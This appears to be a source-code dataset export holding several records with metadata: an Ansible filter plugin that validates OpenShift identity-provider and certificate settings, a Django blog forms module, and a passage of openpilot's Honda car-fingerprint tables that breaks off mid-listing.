import copy import sys from ansible import errors from ansible.parsing.yaml.dumper import AnsibleDumper from ansible.plugins.filter.core import to_bool as ansible_bool try: from ansible.compat.six import string_types, u except ImportError: from ansible.module_utils.six import string_types, u import yaml class IdentityProviderBase(object): def __init__(self, api_version, idp): if api_version not in ['v1']: raise errors.AnsibleFilterError("|failed api version {0} unknown".format(api_version)) self._idp = copy.deepcopy(idp) if 'name' not in self._idp: raise errors.AnsibleFilterError("|failed identity provider missing a name") if 'kind' not in self._idp: raise errors.AnsibleFilterError("|failed identity provider missing a kind") self.name = self._idp.pop('name') self.login = ansible_bool(self._idp.pop('login', False)) self.challenge = ansible_bool(self._idp.pop('challenge', False)) self.provider = dict(apiVersion=api_version, kind=self._idp.pop('kind')) mm_keys = ('mappingMethod', 'mapping_method') mapping_method = None for key in mm_keys: if key in self._idp: mapping_method = self._idp.pop(key) if mapping_method is None: mapping_method = self.get_default('mappingMethod') self.mapping_method = mapping_method valid_mapping_methods = ['add', 'claim', 'generate', 'lookup'] if self.mapping_method not in valid_mapping_methods: raise errors.AnsibleFilterError("|failed unknown mapping method " "for provider {0}".format(self.__class__.__name__)) self._required = [] self._optional = [] self._allow_additional = True @staticmethod def validate_idp_list(idp_list): names = [x.name for x in idp_list] if len(set(names)) != len(names): raise errors.AnsibleFilterError("|failed more than one provider configured with the same name") for idp in idp_list: idp.validate() def validate(self): pass @staticmethod def get_default(key): if key == 'mappingMethod': return 'claim' else: return None def set_provider_item(self, items, required=False): for item in items: provider_key = items[0] if item in self._idp: self.provider[provider_key] = self._idp.pop(item) break else: default = self.get_default(provider_key) if default is not None: self.provider[provider_key] = default elif required: raise errors.AnsibleFilterError("|failed provider {0} missing " "required key {1}".format(self.__class__.__name__, provider_key)) def set_provider_items(self): for items in self._required: self.set_provider_item(items, True) for items in self._optional: self.set_provider_item(items) if self._allow_additional: for key in self._idp.keys(): self.set_provider_item([key]) else: if len(self._idp) > 0: raise errors.AnsibleFilterError("|failed provider {0} " "contains unknown keys " "{1}".format(self.__class__.__name__, ', '.join(self._idp.keys()))) def to_dict(self): return dict(name=self.name, challenge=self.challenge, login=self.login, mappingMethod=self.mapping_method, provider=self.provider) class LDAPPasswordIdentityProvider(IdentityProviderBase): def __init__(self, api_version, idp): super(LDAPPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['attributes'], ['url'], ['insecure']] self._optional += [['ca'], ['bindDN', 'bind_dn'], ['bindPassword', 'bind_password']] self._idp['insecure'] = ansible_bool(self._idp.pop('insecure', False)) if 'attributes' in self._idp and 'preferred_username' in self._idp['attributes']: pref_user = self._idp['attributes'].pop('preferred_username') self._idp['attributes']['preferredUsername'] = pref_user def validate(self): if not isinstance(self.provider['attributes'], dict): raise errors.AnsibleFilterError("|failed attributes for provider " "{0} must be a dictionary".format(self.__class__.__name__)) attrs = ['id', 'email', 'name', 'preferredUsername'] for attr in attrs: if attr in self.provider['attributes'] and not isinstance(self.provider['attributes'][attr], list): raise errors.AnsibleFilterError("|failed {0} attribute for " "provider {1} must be a list".format(attr, self.__class__.__name__)) unknown_attrs = set(self.provider['attributes'].keys()) - set(attrs) if len(unknown_attrs) > 0: raise errors.AnsibleFilterError("|failed provider {0} has unknown " "attributes: {1}".format(self.__class__.__name__, ', '.join(unknown_attrs))) class KeystonePasswordIdentityProvider(IdentityProviderBase): def __init__(self, api_version, idp): super(KeystonePasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['url'], ['domainName', 'domain_name']] self._optional += [['ca'], ['certFile', 'cert_file'], ['keyFile', 'key_file']] class RequestHeaderIdentityProvider(IdentityProviderBase): def __init__(self, api_version, idp): super(RequestHeaderIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['headers']] self._optional += [['challengeURL', 'challenge_url'], ['loginURL', 'login_url'], ['clientCA', 'client_ca'], ['clientCommonNames', 'client_common_names'], ['emailHeaders', 'email_headers'], ['nameHeaders', 'name_headers'], ['preferredUsernameHeaders', 'preferred_username_headers']] def validate(self): if not isinstance(self.provider['headers'], list): raise errors.AnsibleFilterError("|failed headers for provider {0} " "must be a list".format(self.__class__.__name__)) class AllowAllPasswordIdentityProvider(IdentityProviderBase): def __init__(self, api_version, idp): super(AllowAllPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False class DenyAllPasswordIdentityProvider(IdentityProviderBase): def __init__(self, api_version, idp): super(DenyAllPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False class HTPasswdPasswordIdentityProvider(IdentityProviderBase): def __init__(self, api_version, idp): super(HTPasswdPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['file', 'filename', 'fileName', 'file_name']] @staticmethod def get_default(key): if key == 'file': return '/etc/origin/htpasswd' else: return IdentityProviderBase.get_default(key) class BasicAuthPasswordIdentityProvider(IdentityProviderBase): def __init__(self, api_version, idp): super(BasicAuthPasswordIdentityProvider, self).__init__(api_version, idp) self._allow_additional = False self._required += [['url']] self._optional += [['ca'], ['certFile', 'cert_file'], ['keyFile', 'key_file']] class IdentityProviderOauthBase(IdentityProviderBase): def __init__(self, api_version, idp): super(IdentityProviderOauthBase, self).__init__(api_version, idp) self._allow_additional = False self._required += [['clientID', 'client_id'], ['clientSecret', 'client_secret']] def validate(self): if self.challenge: raise errors.AnsibleFilterError("|failed provider {0} does not " "allow challenge authentication".format(self.__class__.__name__)) class OpenIDIdentityProvider(IdentityProviderOauthBase): def __init__(self, api_version, idp): IdentityProviderOauthBase.__init__(self, api_version, idp) self._required += [['claims'], ['urls']] self._optional += [['ca'], ['extraScopes'], ['extraAuthorizeParameters']] if 'claims' in self._idp and 'preferred_username' in self._idp['claims']: pref_user = self._idp['claims'].pop('preferred_username') self._idp['claims']['preferredUsername'] = pref_user if 'urls' in self._idp and 'user_info' in self._idp['urls']: user_info = self._idp['urls'].pop('user_info') self._idp['urls']['userInfo'] = user_info if 'extra_scopes' in self._idp: self._idp['extraScopes'] = self._idp.pop('extra_scopes') if 'extra_authorize_parameters' in self._idp: self._idp['extraAuthorizeParameters'] = self._idp.pop('extra_authorize_parameters') def validate(self): IdentityProviderOauthBase.validate(self) if not isinstance(self.provider['claims'], dict): raise errors.AnsibleFilterError("|failed claims for provider {0} " "must be a dictionary".format(self.__class__.__name__)) for var, var_type in (('extraScopes', list), ('extraAuthorizeParameters', dict)): if var in self.provider and not isinstance(self.provider[var], var_type): raise errors.AnsibleFilterError("|failed {1} for provider " "{0} must be a {2}".format(self.__class__.__name__, var, var_type.__class__.__name__)) required_claims = ['id'] optional_claims = ['email', 'name', 'preferredUsername'] all_claims = required_claims + optional_claims for claim in required_claims: if claim in required_claims and claim not in self.provider['claims']: raise errors.AnsibleFilterError("|failed {0} claim missing " "for provider {1}".format(claim, self.__class__.__name__)) for claim in all_claims: if claim in self.provider['claims'] and not isinstance(self.provider['claims'][claim], list): raise errors.AnsibleFilterError("|failed {0} claims for " "provider {1} must be a list".format(claim, self.__class__.__name__)) unknown_claims = set(self.provider['claims'].keys()) - set(all_claims) if len(unknown_claims) > 0: raise errors.AnsibleFilterError("|failed provider {0} has unknown " "claims: {1}".format(self.__class__.__name__, ', '.join(unknown_claims))) if not isinstance(self.provider['urls'], dict): raise errors.AnsibleFilterError("|failed urls for provider {0} " "must be a dictionary".format(self.__class__.__name__)) required_urls = ['authorize', 'token'] optional_urls = ['userInfo'] all_urls = required_urls + optional_urls for url in required_urls: if url not in self.provider['urls']: raise errors.AnsibleFilterError("|failed {0} url missing for " "provider {1}".format(url, self.__class__.__name__)) unknown_urls = set(self.provider['urls'].keys()) - set(all_urls) if len(unknown_urls) > 0: raise errors.AnsibleFilterError("|failed provider {0} has unknown " "urls: {1}".format(self.__class__.__name__, ', '.join(unknown_urls))) class GoogleIdentityProvider(IdentityProviderOauthBase): def __init__(self, api_version, idp): IdentityProviderOauthBase.__init__(self, api_version, idp) self._optional += [['hostedDomain', 'hosted_domain']] class GitHubIdentityProvider(IdentityProviderOauthBase): def __init__(self, api_version, idp): IdentityProviderOauthBase.__init__(self, api_version, idp) self._optional += [['organizations'], ['teams']] class FilterModule(object): @staticmethod def translate_idps(idps, api_version): idp_list = [] if not isinstance(idps, list): raise errors.AnsibleFilterError("|failed expects to filter on a list of identity providers") for idp in idps: if not isinstance(idp, dict): raise errors.AnsibleFilterError("|failed identity providers must be a list of dictionaries") cur_module = sys.modules[__name__] idp_class = getattr(cur_module, idp['kind'], None) idp_inst = idp_class(api_version, idp) if idp_class is not None else IdentityProviderBase(api_version, idp) idp_inst.set_provider_items() idp_list.append(idp_inst) IdentityProviderBase.validate_idp_list(idp_list) return u(yaml.dump([idp.to_dict() for idp in idp_list], allow_unicode=True, default_flow_style=False, width=float("inf"), Dumper=AnsibleDumper)) @staticmethod def validate_pcs_cluster(data, masters=None): if not issubclass(type(data), string_types): raise errors.AnsibleFilterError("|failed expects data is a string or unicode") if not issubclass(type(masters), list): raise errors.AnsibleFilterError("|failed expects masters is a list") valid = True for master in masters: if "{0}: Online".format(master) not in data: valid = False return valid @staticmethod def certificates_to_synchronize(hostvars, include_keys=True, include_ca=True): if not issubclass(type(hostvars), dict): raise errors.AnsibleFilterError("|failed expects hostvars is a dict") certs = ['admin.crt', 'admin.key', 'admin.kubeconfig', 'master.kubelet-client.crt', 'master.kubelet-client.key'] if bool(include_ca): certs += ['ca.crt', 'ca.key', 'ca-bundle.crt'] if bool(include_keys): certs += ['serviceaccounts.private.key', 'serviceaccounts.public.key'] if bool(hostvars['openshift']['common']['version_gte_3_1_or_1_1']): certs += ['master.proxy-client.crt', 'master.proxy-client.key'] if not bool(hostvars['openshift']['common']['version_gte_3_2_or_1_2']): certs += ['openshift-master.crt', 'openshift-master.key', 'openshift-master.kubeconfig'] if bool(hostvars['openshift']['common']['version_gte_3_3_or_1_3']): certs += ['service-signer.crt', 'service-signer.key'] if not bool(hostvars['openshift']['common']['version_gte_3_5_or_1_5']): certs += ['openshift-registry.crt', 'openshift-registry.key', 'openshift-registry.kubeconfig', 'openshift-router.crt', 'openshift-router.key', 'openshift-router.kubeconfig'] return certs @staticmethod def oo_htpasswd_users_from_file(file_contents): htpasswd_entries = {} if not isinstance(file_contents, string_types): raise errors.AnsibleFilterError("failed, expects to filter on a string") for line in file_contents.splitlines(): user = None passwd = None if len(line) == 0: continue if ':' in line: user, passwd = line.split(':', 1) if user is None or len(user) == 0 or passwd is None or len(passwd) == 0: error_msg = "failed, expects each line to be a colon separated string representing the user and passwd" raise errors.AnsibleFilterError(error_msg) htpasswd_entries[user] = passwd return htpasswd_entries def filters(self): return {"translate_idps": self.translate_idps, "validate_pcs_cluster": self.validate_pcs_cluster, "certificates_to_synchronize": self.certificates_to_synchronize, "oo_htpasswd_users_from_file": self.oo_htpasswd_users_from_file}
true
true
f7f3ae0deca6ef2573679f9ac75aa22410503a98
442
py
Python
blog/forms.py
yadra/pet-blog
62ca97091f927f5c4e87afb8e300302f97195518
[ "MIT" ]
null
null
null
blog/forms.py
yadra/pet-blog
62ca97091f927f5c4e87afb8e300302f97195518
[ "MIT" ]
4
2020-06-05T23:52:40.000Z
2021-06-10T19:11:54.000Z
blog/forms.py
yadra/test-blog
62ca97091f927f5c4e87afb8e300302f97195518
[ "MIT" ]
null
null
null
from django import forms from .models import Comment class EmailPostForm(forms.Form): name = forms.CharField(max_length=25) email = forms.EmailField() to = forms.EmailField() comments = forms.CharField(required=False, widget=forms.Textarea) class CommentForm(forms.ModelForm): class Meta: model = Comment fields = ("name", "email", "body") class SearchForm(forms.Form): query = forms.CharField()
22.1
69
0.690045
from django import forms from .models import Comment class EmailPostForm(forms.Form): name = forms.CharField(max_length=25) email = forms.EmailField() to = forms.EmailField() comments = forms.CharField(required=False, widget=forms.Textarea) class CommentForm(forms.ModelForm): class Meta: model = Comment fields = ("name", "email", "body") class SearchForm(forms.Form): query = forms.CharField()
true
true
f7f3aee7b1ea6144560fd9def761d568ac8fd408
42,804
py
Python
selfdrive/car/honda/values.py
zer0onetwothree/openpilot
b8c7502d7e0e626e84bee95f3c3cd04a45a02f9f
[ "MIT" ]
null
null
null
selfdrive/car/honda/values.py
zer0onetwothree/openpilot
b8c7502d7e0e626e84bee95f3c3cd04a45a02f9f
[ "MIT" ]
null
null
null
selfdrive/car/honda/values.py
zer0onetwothree/openpilot
b8c7502d7e0e626e84bee95f3c3cd04a45a02f9f
[ "MIT" ]
null
null
null
# flake8: noqa from cereal import car from selfdrive.car import dbc_dict Ecu = car.CarParams.Ecu VisualAlert = car.CarControl.HUDControl.VisualAlert # Car button codes class CruiseButtons: RES_ACCEL = 4 DECEL_SET = 3 CANCEL = 2 MAIN = 1 # See dbc files for info on values" VISUAL_HUD = { VisualAlert.none: 0, VisualAlert.fcw: 1, VisualAlert.steerRequired: 1, VisualAlert.brakePressed: 10, VisualAlert.wrongGear: 6, VisualAlert.seatbeltUnbuckled: 5, VisualAlert.speedTooHigh: 8} class CAR: ACCORD = "HONDA ACCORD 2018 SPORT 2T" ACCORD_15 = "HONDA ACCORD 2018 LX 1.5T" ACCORDH = "HONDA ACCORD 2018 HYBRID TOURING" CIVIC = "HONDA CIVIC 2016 TOURING" CIVIC_BOSCH = "HONDA CIVIC HATCHBACK 2017 SEDAN/COUPE 2019" CIVIC_BOSCH_DIESEL = "HONDA CIVIC SEDAN 1.6 DIESEL" CLARITY = "HONDA CLARITY 2018 TOURING" ACURA_ILX = "ACURA ILX 2016 ACURAWATCH PLUS" CRV = "HONDA CR-V 2016 TOURING" CRV_5G = "HONDA CR-V 2017 EX" CRV_EU = "HONDA CR-V 2016 EXECUTIVE" CRV_HYBRID = "HONDA CR-V 2019 HYBRID" FIT = "HONDA FIT 2018 EX" HRV = "HONDA HRV 2019 TOURING" ODYSSEY = "HONDA ODYSSEY 2018 EX-L" ODYSSEY_CHN = "HONDA ODYSSEY 2019 EXCLUSIVE CHN" ACURA_RDX = "ACURA RDX 2018 ACURAWATCH PLUS" PILOT = "HONDA PILOT 2017 TOURING" PILOT_2019 = "HONDA PILOT 2019 ELITE" RIDGELINE = "HONDA RIDGELINE 2017 BLACK EDITION" INSIGHT = "HONDA INSIGHT 2019 TOURING" # diag message that in some Nidec cars only appear with 1s freq if VIN query is performed DIAG_MSGS = {1600: 5, 1601: 8} FINGERPRINTS = { CAR.ACCORD: [{ 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 419: 8, 420: 8, 427: 3, 432: 7, 441: 5, 446: 3, 450: 8, 464: 8, 477: 8, 479: 8, 495: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 1302: 8, 1600: 5, 1601: 8, 1652: 8 }], CAR.ACCORD_15: [{ 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 427: 3, 432: 7, 441: 5, 446: 3, 450: 8, 464: 8, 477: 8, 479: 8, 495: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 1302: 8, 1600: 5, 1601: 8, 1652: 8 }], CAR.ACCORDH: [{ 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 399: 7, 419: 8, 420: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 477: 8, 479: 8, 495: 8, 525: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 1302: 8, 1600: 5, 1601: 8, 1652: 8 }], CAR.ACURA_ILX: [{ 57: 3, 145: 8, 228: 5, 304: 8, 316: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 7, 419: 8, 420: 8, 422: 8, 428: 8, 432: 7, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 4, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 882: 2, 884: 7, 887: 8, 888: 8, 892: 8, 923: 2, 929: 4, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1030: 5, 1034: 5, 1036: 8, 1039: 8, 1057: 5, 1064: 7, 1108: 8, 1365: 5, }], # Acura RDX w/ Added Comma Pedal Support (512L & 513L) CAR.ACURA_RDX: [{ 57: 3, 145: 8, 229: 4, 308: 5, 316: 8, 342: 6, 344: 8, 380: 8, 392: 6, 398: 3, 399: 6, 404: 4, 420: 8, 422: 8, 426: 8, 432: 7, 464: 8, 474: 5, 476: 4, 487: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 4, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 882: 2, 884: 7, 887: 8, 888: 8, 892: 8, 923: 2, 929: 4, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1033: 5, 1034: 5, 1036: 8, 1039: 8, 1057: 5, 1064: 7, 1108: 8, 1365: 5, 1424: 5, 1729: 1 }], CAR.CIVIC: [{ 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 427: 3, 428: 8, 432: 7, 450: 8, 464: 8, 470: 2, 476: 7, 487: 4, 490: 8, 493: 5, 506: 8, 512: 6, 513: 6, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 892: 8, 927: 8, 929: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1108: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1633: 8, }], CAR.CIVIC_BOSCH: [{ # 2017 Civic Hatchback EX, 2019 Civic Sedan Touring Canadian, and 2018 Civic Hatchback Executive Premium 1.0L CVT European 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 460: 3, 464: 8, 470: 2, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 506: 8, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 829: 5, 862: 8, 884: 8, 891: 8, 892: 8, 927: 8, 929: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1108: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1625: 5, 1629: 5, 1633: 8, }, # 2017 Civic Hatchback LX { 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 423: 2, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 464: 8, 470: 2, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 506: 8, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 815: 8, 825: 4, 829: 5, 846: 8, 862: 8, 881: 8, 882: 4, 884: 8, 888: 8, 891: 8, 892: 8, 918: 7, 927: 8, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1092: 1, 1108: 8, 1125: 8, 1127: 2, 1296: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1633: 8 }], CAR.CIVIC_BOSCH_DIESEL: [{ # 2019 Civic Sedan 1.6 i-dtec Diesel European 57: 3, 148: 8, 228: 5, 308: 5, 316: 8, 330: 8, 344: 8, 380: 8, 399: 7, 419: 8, 420: 8, 426: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 470: 2, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 506: 8, 507: 1, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 801: 3, 804: 8, 806: 8, 808: 8, 815: 8, 824: 8, 825: 4, 829: 5, 837: 5, 862: 8, 881: 8, 882: 4, 884: 8, 887: 8, 888: 8, 891: 8, 902: 8, 918: 7, 927: 8, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1092: 1, 1108: 8, 1115: 2, 1125: 8, 1296: 8, 1302: 8, 1322: 5, 1337: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8 }], CAR.CLARITY: [{ 57: 3, 304: 8, 312: 8, 315: 7, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 409: 8, 419: 8, 420: 8, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 464: 8, 476: 8, 478: 3, 506: 8, 538: 5, 545: 5, 547: 6, 559: 3, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 815: 8, 829: 5, 831: 5, 832: 3, 833: 8, 856: 7, 862: 8, 884: 8, 891: 8, 900: 8, 904: 8, 905: 8, 906: 4, 923: 2, 927: 8, 929: 8, 976: 8, 983: 8, 1029: 8, 1036: 8, 1070: 8, 1072: 4, 1092: 1, 1108: 8, 1113: 8, 1114: 2, 1125: 8, 1128: 8, 1129: 8, 1302: 8, 1331: 8, 1332: 5, 1341: 5 }], CAR.CRV: [{ 57: 3, 145: 8, 316: 8, 340: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 6, 401: 8, 404: 4, 420: 8, 422: 8, 426: 8, 432: 7, 464: 8, 474: 5, 476: 4, 487: 4, 490: 8, 493: 3, 506: 8, 507: 1, 512: 6, 513: 6, 542: 7, 545: 4, 597: 8, 660: 8, 661: 4, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 829: 5, 882: 2, 884: 7, 888: 8, 891: 8, 892: 8, 923: 2, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1033: 5, 1036: 8, 1039: 8, 1057: 5, 1064: 7, 1108: 8, 1125: 8, 1296: 8, 1365: 5, 1424: 5, 1600: 5, 1601: 8, }], CAR.CRV_5G: [{ 57: 3, 148: 8, 199: 4, 228: 5, 231: 5, 232: 7, 304: 8, 330: 8, 340: 8, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 423: 2, 427: 3, 428: 8, 432: 7, 441: 5, 446: 3, 450: 8, 464: 8, 467: 2, 469: 3, 470: 2, 474: 8, 476: 7, 477: 8, 479: 8, 490: 8, 493: 5, 495: 8, 507: 1, 545: 6, 597: 8, 661: 4, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 814: 4, 815: 8, 817: 4, 825: 4, 829: 5, 862: 8, 881: 8, 882: 4, 884: 8, 888: 8, 891: 8, 927: 8, 918: 7, 929: 8, 983: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1108: 8, 1092: 1, 1115: 2, 1125: 8, 1127: 2, 1296: 8, 1302: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1618: 5, 1633: 8, 1670: 5 }], # 1057: 5 1024: 5 are also on the OBD2 bus. their lengths differ from the camera's f-can bus. re-fingerprint after obd2 connection is split in panda firmware from bus 1. CAR.CRV_EU: [{ 57: 3, 145: 8, 308: 5, 316: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 6, 404: 4, 419: 8, 420: 8, 422: 8, 426: 8, 432: 7, 464: 8, 474: 5, 476: 4, 487: 4, 490: 8, 493: 3, 506: 8, 507: 1, 510: 3, 538: 3, 542: 7, 545: 4, 597: 8, 660: 8, 661: 4, 768: 8, 769: 8, 773: 7, 777: 8, 780: 8, 800: 8, 801: 3, 803: 8, 804: 8, 808: 8, 824: 8, 829: 5, 837: 5, 862: 8, 882: 2, 884: 7, 888: 8, 891: 8, 892: 8, 923: 2, 927: 8, 929: 8, 930: 8, 931: 8, 983: 8, 1024: 8, 1027: 5, 1029: 8, 1033: 5, 1036: 8, 1039: 8, 1040: 8, 1041: 8, 1042: 8, 1043: 8, 1044: 8, 1045: 8, 1046: 8, 1047: 8, 1056: 8, 1057: 8, 1058: 8, 1059: 8, 1060: 8, 1064: 7, 1072: 8, 1073: 8, 1074: 8, 1075: 8, 1076: 8, 1077: 8, 1078: 8, 1079: 8, 1080: 8, 1081: 8, 1088: 8, 1089: 8, 1090: 8, 1091: 8, 1092: 8, 1093: 8, 1108: 8, 1125: 8, 1279: 8, 1280: 8, 1296: 8, 1297: 8, 1365: 5, 1424: 5, 1600: 5, 1601: 8, }], CAR.CRV_HYBRID: [{ 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 399: 7, 408: 6, 415: 6, 419: 8, 420: 8, 427: 3, 428: 8, 432: 7, 441: 5, 450: 8, 464: 8, 477: 8, 479: 8, 490: 8, 495: 8, 525: 8, 531: 8, 545: 6, 662: 4, 773: 7, 777: 8, 780: 8, 804: 8, 806: 8, 808: 8, 814: 4, 829: 5, 833: 6, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 930: 8, 931: 8, 1302: 8, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 1626: 5, 1627: 5 }], CAR.FIT: [{ 57: 3, 145: 8, 228: 5, 304: 8, 342: 6, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 422: 8, 427: 3, 428: 8, 432: 7, 464: 8, 487: 4, 490: 8, 506: 8, 597: 8, 660: 8, 661: 4, 773: 7, 777: 8, 780: 8, 800: 8, 804: 8, 808: 8, 829: 5, 862: 8, 884: 7, 892: 8, 929: 8, 985: 3, 1024: 5, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1108: 8, 1322: 5, 1361: 5, 1365: 5, 1424: 5, 1600: 5, 1601: 8 }], CAR.HRV: [{ 57: 3, 145: 8, 228: 5, 316: 8, 340: 8, 342: 6, 344: 8, 380: 8, 399: 7, 401: 8, 420: 8, 422: 8, 423: 2, 426: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 474: 8, 490: 8, 493: 3, 506: 8, 538: 5, 578: 2, 597: 8, 660: 8, 661: 4, 773: 7, 777: 8, 780: 8, 804: 8, 808: 8, 829: 5, 862: 8, 882: 2, 884: 7, 892: 8, 929: 8, 985: 3, 1030: 5, 1033: 5, 1108: 8, 1137: 8, 1348: 5, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 1618: 5 }], # 2018 Odyssey w/ Added Comma Pedal Support (512L & 513L) CAR.ODYSSEY: [{ 57: 3, 148: 8, 228: 5, 229: 4, 316: 8, 342: 6, 344: 8, 380: 8, 399: 7, 411: 5, 419: 8, 420: 8, 427: 3, 432: 7, 450: 8, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 817: 4, 819: 7, 821: 5, 825: 4, 829: 5, 837: 5, 856: 7, 862: 8, 871: 8, 881: 8, 882: 4, 884: 8, 891: 8, 892: 8, 905: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1029: 8, 1036: 8, 1052: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1110: 8, 1125: 8, 1296: 8, 1302: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1614: 5, 1615: 8, 1616: 5, 1619: 5, 1623: 5, 1668: 5 }, # 2018 Odyssey Elite w/ Added Comma Pedal Support (512L & 513L) { 57: 3, 148: 8, 228: 5, 229: 4, 304: 8, 342: 6, 344: 8, 380: 8, 399: 7, 411: 5, 419: 8, 420: 8, 427: 3, 432: 7, 440: 8, 450: 8, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 507: 1, 542: 7, 545: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 806: 8, 808: 8, 817: 4, 819: 7, 821: 5, 825: 4, 829: 5, 837: 5, 856: 7, 862: 8, 871: 8, 881: 8, 882: 4, 884: 8, 891: 8, 892: 8, 905: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1029: 8, 1036: 8, 1052: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1110: 8, 1125: 8, 1296: 8, 1302: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1614: 5, 1616: 5, 1619: 5, 1623: 5, 1668: 5 }], CAR.ODYSSEY_CHN: [{ 57: 3, 145: 8, 316: 8, 342: 6, 344: 8, 380: 8, 398: 3, 399: 7, 401: 8, 404: 4, 411: 5, 420: 8, 422: 8, 423: 2, 426: 8, 432: 7, 450: 8, 464: 8, 490: 8, 506: 8, 507: 1, 512: 6, 513: 6, 597: 8, 610: 8, 611: 8, 612: 8, 617: 8, 660: 8, 661: 4, 773: 7, 780: 8, 804: 8, 808: 8, 829: 5, 862: 8, 884: 7, 892: 8, 923: 2, 929: 8, 1030: 5, 1137: 8, 1302: 8, 1348: 5, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 